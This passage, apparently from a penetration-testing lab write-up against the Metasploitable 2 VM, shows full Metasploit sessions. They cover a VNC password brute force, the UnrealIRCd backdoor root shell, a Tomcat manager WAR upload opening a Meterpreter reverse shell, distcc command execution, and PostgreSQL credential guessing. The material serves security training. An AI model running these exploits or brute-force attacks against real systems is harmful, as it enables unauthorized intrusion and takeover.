[*] User: guest Host: %
[*] The following users have CREATE USER Privilege:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have RELOAD Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have SHUTDOWN Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have SUPER Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have FILE Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have PROCESS Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following accounts have privileges to the mysql database:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following accounts have empty passwords:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following accounts are not restricted by source:
[*] User: guest Host: %
[*] User: root Host: %
[*] Auxiliary module execution completed
msf auxiliary(mysql_enum) >
Port 5900 - VNC
Warning: This expoit took a long time, since the VNC server was setup to lock out the host after a number of failed login attempts.
The Metasploitable VM appears to be running VNC. We used the metasploit module for vnc_login to attempt brute force. This method was not very efficient, as the VNC server would reject connection attempts after a number of failed attempts even with the brute force speed turned down to 0. I finally got the password when I used the wordlist /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt (which only contained a single "password")
msf > use auxiliary/scanner/vnc/vnc_login msf auxiliary(vnc_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt PASS_FILE => /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt msf auxiliary(vnc_login) > run [*] 192.168.32.102:5900 - Starting VNC login sweep [*] 192.168.32.102:5900 VNC - [1/2] - Attempting VNC login with password '' [*] 192.168.32.102:5900 VNC - [1/2] - , VNC server protocol version : 3.3 [-] 192.168.32.102:5900 VNC - [1/2] - , Authentication failed [*] 192.168.32.102:5900 VNC - [2/2] - Attempting VNC login with password 'password' [*] 192.168.32.102:5900 VNC - [2/2] - , VNC server protocol version : 3.3 [+] 192.168.32.102:5900, VNC server password : "password" [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(vnc_login) >
With the VNC password, we can use vncviewer to connect to the server to get a root shell
root@kali:~# vncviewer 192.168.32.102 Connected to RFB server, using protocol version 3.3 Performing standard VNC authentication Password: Authentication successful Desktop name "root's X desktop (metasploitable:0)" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0Port 6667 - IRC
The Metasploitable VM hosts an unreal IRC daemon on port 6667. There appeared to be only one exploit available for this service on the metasploit framework so it was worth giving it a go, even without investigating to see if the daemon was vulnerable. The exploit gives root shell access
msf > search unreal
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/games/ut2004_secure 2004-06-18 00:00:00 UTC good Unreal Tournament 2004 "secure" Overflow (Linux)
exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 00:00:00 UTC excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution
exploit/windows/games/ut2004_secure 2004-06-18 00:00:00 UTC good Unreal Tournament 2004 "secure" Overflow (Win32)
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 6667 yes The target port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.32.102
RHOST => 192.168.32.102
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.32.102:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo JnP3tybMkkFXcaXc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "JnP3tybMkkFXcaXc\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 7 opened (192.168.32.101:4444 -> 192.168.32.102:39764) at 2015-02-05 18:25:10 +1000
id
uid=0(root) gid=0(root)
pwd
/etc/unreal
Port 8009 - Tomcat
Port 8009 is a tomcat reverse proxy that apache uses to communicate with Tomcat to server pages. Port 8180 runs the main admin interface for Tomcat. We need to get the admin credentials
msf > use auxiliary/admin/http/tomcat_administration msf auxiliary(tomcat_administration) > show options Module options (auxiliary/admin/http/tomcat_administration): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOSTS 192.168.32.102 yes The target address range or CIDR identifier RPORT 8180 yes The target port THREADS 1 yes The number of concurrent threads TOMCAT_PASS no The password for the specified username TOMCAT_USER no The username to authenticate as VHOST no HTTP server virtual host msf auxiliary(tomcat_administration) > exploit [*] http://192.168.32.102:8180/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5] [Tomcat Server Administration] [tomcat/tomcat] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(tomcat_administration) >
Now we can use the credentials, i.e. username tomcat with password tomcat to exploit the management interface
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) Proxies no Use a proxy chain RHOST 192.168.32.102 yes The target address RPORT 8180 yes The target port USERNAME no The username to authenticate as VHOST no HTTP server virtual host Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.32.101 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat PASSWORD => tomcat msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat USERNAME => tomcat msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse handler on 192.168.32.101:4444 [*] Attempting to automatically select a target... [*] Automatically selected target "Linux x86" [*] Uploading 6474 bytes as SuXSLiYpW36ClmwLOKbAfVYNlU5Q.war ... [*] Executing /SuXSLiYpW36ClmwLOKbAfVYNlU5Q/m6RuB34P9qma.jsp... [*] Undeploying SuXSLiYpW36ClmwLOKbAfVYNlU5Q ... [*] Sending stage (30216 bytes) to 192.168.32.102 [*] Meterpreter session 8 opened (192.168.32.101:4444 -> 192.168.32.102:52522) at 2015-02-05 19:33:31 +1000 meterpreter > getuid Server username: tomcat55 meterpreter >
Port 3632 - DistCC
DistCC daemon can be exploited to allow remote code execution.
msf > search distcc Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/unix/misc/distcc_exec 2002-02-01 00:00:00 UTC excellent DistCC Daemon Command Execution msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > show options Module options (exploit/unix/misc/distcc_exec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 3632 yes The target port Exploit target: Id Name -- ---- 0 Automatic Target msf exploit(distcc_exec) > set RHOST 192.168.32.102 RHOST => 192.168.32.102 msf exploit(distcc_exec) > set PAYLOAD cmd/unix/reverse PAYLOAD => cmd/unix/reverse msf exploit(distcc_exec) > set LHOST 192.168.32.101 LHOST => 192.168.32.101 msf exploit(distcc_exec) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo f26y6z3GQB0TouQp; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "f26y6z3GQB0TouQp\r\n" [*] Matching... [*] A is input... [*] Command shell session 5 opened (192.168.32.101:4444 -> 192.168.32.102:45917) at 2015-02-04 19:38:56 +1000 id uid=1(daemon) gid=1(daemon) groups=1(daemon) pwd /tmp
Port 5432 - Postgresql
PostgreSQL DB 8.3.0 - 8.3.7 is listening on port 5432. Since the MySQL database was not password protected, chances are Postgresql may not be password protected either, but we've cracked some of the passwords, so it may be worth trying to brute force the password. First we attempted to use the metasploit wordlist, and then repeated with the list of usernames we has recovered. Unfortunately no additional credentials were recovered, save for the postgres:postgres credentials for the template1 database.
msf > search postgreSQL Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 00:00:00 UTC normal Ruby on Rails Devise Authentication Password Reset auxiliary/admin/postgres/postgres_readfile normal PostgreSQL Server Generic Query auxiliary/admin/postgres/postgres_sql normal PostgreSQL Server Generic Query auxiliary/scanner/postgres/postgres_login normal PostgreSQL Login Utility auxiliary/scanner/postgres/postgres_version normal PostgreSQL Version Probe auxiliary/server/capture/postgresql normal Authentication Capture: PostgreSQL exploit/linux/postgres/postgres_payload 2007-06-05 00:00:00 UTC excellent PostgreSQL for Linux Payload Execution exploit/windows/postgres/postgres_payload 2009-04-10 00:00:00 UTC excellent PostgreSQL for Microsoft Windows Payload Execution msf > use auxiliary/scanner/postgres/postgres_login msf auxiliary(postgres_login) > show options Module options (auxiliary/scanner/postgres/postgres_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DATABASE template1 yes The database to authenticate against PASSWORD no A specific password to authenticate with PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line RETURN_ROWSET true no Set to true to see query result sets RHOSTS 192.168.32.102 yes The target address range or CIDR identifier RPORT 5432 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME postgres no A specific username to authenticate as USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(postgres_login) > run [*] 192.168.32.102:5432 Postgres - [01/21] - Trying username:'postgres' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'postgres':'' [-] 192.168.32.102:5432 Postgres - [01/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [02/21] - Trying username:'' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: '':'' [-] 192.168.32.102:5432 Postgres - [02/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [03/21] - Trying username:'scott' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'scott':'' [-] 192.168.32.102:5432 Postgres - [03/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [04/21] - Trying username:'admin' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'admin':'' [-] 192.168.32.102:5432 Postgres - [04/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [05/21] - Trying username:'postgres' with password:'postgres' on database 'template1' [+] 192.168.32.102:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' [+] 192.168.32.102:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) [*] 192.168.32.102:5432 Postgres - Disconnected [*] 192.168.32.102:5432 Postgres - [06/21] - Trying username:'scott' with password:'scott' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'scott':'scott' [-] 192.168.32.102:5432 Postgres - [06/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [07/21] - Trying username:'admin' with password:'admin' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'admin':'admin' [-] 192.168.32.102:5432 Postgres - [07/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [08/21] - Trying username:'admin' with password:'password' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'admin':'password' [-] 192.168.32.102:5432 Postgres - [08/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [09/21] - Trying username:'' with password:'tiger' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: '':'tiger' [-] 192.168.32.102:5432 Postgres - [09/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [10/21] - Trying username:'' with password:'postgres' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: '':'postgres' [-] 192.168.32.102:5432 Postgres - [10/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [11/21] - Trying username:'' with password:'password' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: '':'password' [-] 192.168.32.102:5432 Postgres - [11/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [12/21] - Trying username:'' with password:'admin' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: '':'admin' [-] 192.168.32.102:5432 Postgres - [12/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [13/21] - Trying username:'scott' with password:'tiger' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'scott':'tiger' [-] 192.168.32.102:5432 Postgres - [13/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [14/21] - Trying username:'scott' with password:'postgres' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'scott':'postgres' [-] 192.168.32.102:5432 Postgres - [14/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [15/21] - Trying username:'scott' with password:'password' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'scott':'password' [-] 192.168.32.102:5432 Postgres - [15/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [16/21] - Trying username:'scott' with password:'admin' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'scott':'admin' [-] 192.168.32.102:5432 Postgres - [16/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [17/21] - Trying username:'admin' with password:'tiger' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'admin':'tiger' [-] 192.168.32.102:5432 Postgres - [17/21] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [18/21] - Trying username:'admin' with password:'postgres' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'admin':'postgres' [-] 192.168.32.102:5432 Postgres - [18/21] - Username/Password failed. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(postgres_login) > set USERPASS_FILE /root/Desktop/metasploitable2/users.txt USERPASS_FILE => /root/Desktop/metasploitable2/users.txt msf auxiliary(postgres_login) > unset PASS_FILE Unsetting PASS_FILE... msf auxiliary(postgres_login) > unset USER_FILE Unsetting USER_FILE... msf auxiliary(postgres_login) > run [*] 192.168.32.102:5432 Postgres - [01/74] - Trying username:'postgres' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'postgres':'' [-] 192.168.32.102:5432 Postgres - [01/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [02/74] - Trying username:'root' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'root':'' [-] 192.168.32.102:5432 Postgres - [02/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [03/74] - Trying username:'daemon' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'daemon':'' [-] 192.168.32.102:5432 Postgres - [03/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [04/74] - Trying username:'bin' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'bin':'' [-] 192.168.32.102:5432 Postgres - [04/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [05/74] - Trying username:'sys' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'sys':'' [-] 192.168.32.102:5432 Postgres - [05/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [06/74] - Trying username:'sync' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'sync':'' [-] 192.168.32.102:5432 Postgres - [06/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [07/74] - Trying username:'games' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'games':'' [-] 192.168.32.102:5432 Postgres - [07/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [08/74] - Trying username:'man' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'man':'' [-] 192.168.32.102:5432 Postgres - [08/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [09/74] - Trying username:'lp' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'lp':'' [-] 192.168.32.102:5432 Postgres - [09/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [10/74] - Trying username:'mail' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'mail':'' [-] 192.168.32.102:5432 Postgres - [10/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [11/74] - Trying username:'news' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'news':'' [-] 192.168.32.102:5432 Postgres - [11/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [12/74] - Trying username:'uucp' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'uucp':'' [-] 192.168.32.102:5432 Postgres - [12/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [13/74] - Trying username:'proxy' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'proxy':'' [-] 192.168.32.102:5432 Postgres - [13/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [14/74] - Trying username:'www-data' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'www-data':'' [-] 192.168.32.102:5432 Postgres - [14/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [15/74] - Trying username:'backup' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'backup':'' [-] 192.168.32.102:5432 Postgres - [15/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [16/74] - Trying username:'list' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'list':'' [-] 192.168.32.102:5432 Postgres - [16/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [17/74] - Trying username:'irc' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'irc':'' [-] 192.168.32.102:5432 Postgres - [17/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [18/74] - Trying username:'gnats' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'gnats':'' [-] 192.168.32.102:5432 Postgres - [18/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [19/74] - Trying username:'nobody' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'nobody':'' [-] 192.168.32.102:5432 Postgres - [19/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [20/74] - Trying username:'libuuid' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'libuuid':'' [-] 192.168.32.102:5432 Postgres - [20/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [21/74] - Trying username:'dhcp' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'dhcp':'' [-] 192.168.32.102:5432 Postgres - [21/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [22/74] - Trying username:'syslog' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'syslog':'' [-] 192.168.32.102:5432 Postgres - [22/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [23/74] - Trying username:'klog' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'klog':'' [-] 192.168.32.102:5432 Postgres - [23/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [24/74] - Trying username:'sshd' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'sshd':'' [-] 192.168.32.102:5432 Postgres - [24/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [25/74] - Trying username:'msfadmin' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'msfadmin':'' [-] 192.168.32.102:5432 Postgres - [25/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [26/74] - Trying username:'bind' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'bind':'' [-] 192.168.32.102:5432 Postgres - [26/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [27/74] - Trying username:'postfix' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'postfix':'' [-] 192.168.32.102:5432 Postgres - [27/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [28/74] - Trying username:'ftp' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'ftp':'' [-] 192.168.32.102:5432 Postgres - [28/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [29/74] - Trying username:'mysql' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'mysql':'' [-] 192.168.32.102:5432 Postgres - [29/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [30/74] - Trying username:'tomcat55' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'tomcat55':'' [-] 192.168.32.102:5432 Postgres - [30/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [31/74] - Trying username:'distccd' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'distccd':'' [-] 192.168.32.102:5432 Postgres - [31/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [32/74] - Trying username:'user' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'user':'' [-] 192.168.32.102:5432 Postgres - [32/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [33/74] - Trying username:'service' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'service':'' [-] 192.168.32.102:5432 Postgres - [33/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [34/74] - Trying username:'telnetd' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'telnetd':'' [-] 192.168.32.102:5432 Postgres - [34/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [35/74] - Trying username:'proftpd' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'proftpd':'' [-] 192.168.32.102:5432 Postgres - [35/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [36/74] - Trying username:'statd' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'statd':'' [-] 192.168.32.102:5432 Postgres - [36/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [37/74] - Trying username:'snmp' with password:'' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'snmp':'' [-] 192.168.32.102:5432 Postgres - [37/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [38/74] - Trying username:'postgres' with password:'postgres' on database 'template1' [+] 192.168.32.102:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' [+] 192.168.32.102:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) [*] 192.168.32.102:5432 Postgres - Disconnected [*] 192.168.32.102:5432 Postgres - [39/74] - Trying username:'root' with password:'root' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'root':'root' [-] 192.168.32.102:5432 Postgres - [39/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [40/74] - Trying username:'daemon' with password:'daemon' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'daemon':'daemon' [-] 192.168.32.102:5432 Postgres - [40/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [41/74] - Trying username:'bin' with password:'bin' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'bin':'bin' [-] 192.168.32.102:5432 Postgres - [41/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [42/74] - Trying username:'sys' with password:'sys' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'sys':'sys' [-] 192.168.32.102:5432 Postgres - [42/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [43/74] - Trying username:'sync' with password:'sync' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'sync':'sync' [-] 192.168.32.102:5432 Postgres - [43/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [44/74] - Trying username:'games' with password:'games' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'games':'games' [-] 192.168.32.102:5432 Postgres - [44/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [45/74] - Trying username:'man' with password:'man' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'man':'man' [-] 192.168.32.102:5432 Postgres - [45/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [46/74] - Trying username:'lp' with password:'lp' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'lp':'lp' [-] 192.168.32.102:5432 Postgres - [46/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [47/74] - Trying username:'mail' with password:'mail' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'mail':'mail' [-] 192.168.32.102:5432 Postgres - [47/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [48/74] - Trying username:'news' with password:'news' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'news':'news' [-] 192.168.32.102:5432 Postgres - [48/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [49/74] - Trying username:'uucp' with password:'uucp' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'uucp':'uucp' [-] 192.168.32.102:5432 Postgres - [49/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [50/74] - Trying username:'proxy' with password:'proxy' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'proxy':'proxy' [-] 192.168.32.102:5432 Postgres - [50/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [51/74] - Trying username:'www-data' with password:'www-data' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'www-data':'www-data' [-] 192.168.32.102:5432 Postgres - [51/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [52/74] - Trying username:'backup' with password:'backup' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'backup':'backup' [-] 192.168.32.102:5432 Postgres - [52/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [53/74] - Trying username:'list' with password:'list' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'list':'list' [-] 192.168.32.102:5432 Postgres - [53/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [54/74] - Trying username:'irc' with password:'irc' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'irc':'irc' [-] 192.168.32.102:5432 Postgres - [54/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [55/74] - Trying username:'gnats' with password:'gnats' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'gnats':'gnats' [-] 192.168.32.102:5432 Postgres - [55/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [56/74] - Trying username:'nobody' with password:'nobody' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'nobody':'nobody' [-] 192.168.32.102:5432 Postgres - [56/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [57/74] - Trying username:'libuuid' with password:'libuuid' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'libuuid':'libuuid' [-] 192.168.32.102:5432 Postgres - [57/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [58/74] - Trying username:'dhcp' with password:'dhcp' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'dhcp':'dhcp' [-] 192.168.32.102:5432 Postgres - [58/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [59/74] - Trying username:'syslog' with password:'syslog' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'syslog':'syslog' [-] 192.168.32.102:5432 Postgres - [59/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [60/74] - Trying username:'klog' with password:'klog' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'klog':'klog' [-] 192.168.32.102:5432 Postgres - [60/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [61/74] - Trying username:'sshd' with password:'sshd' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'sshd':'sshd' [-] 192.168.32.102:5432 Postgres - [61/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [62/74] - Trying username:'msfadmin' with password:'msfadmin' on database 'template1' [-] 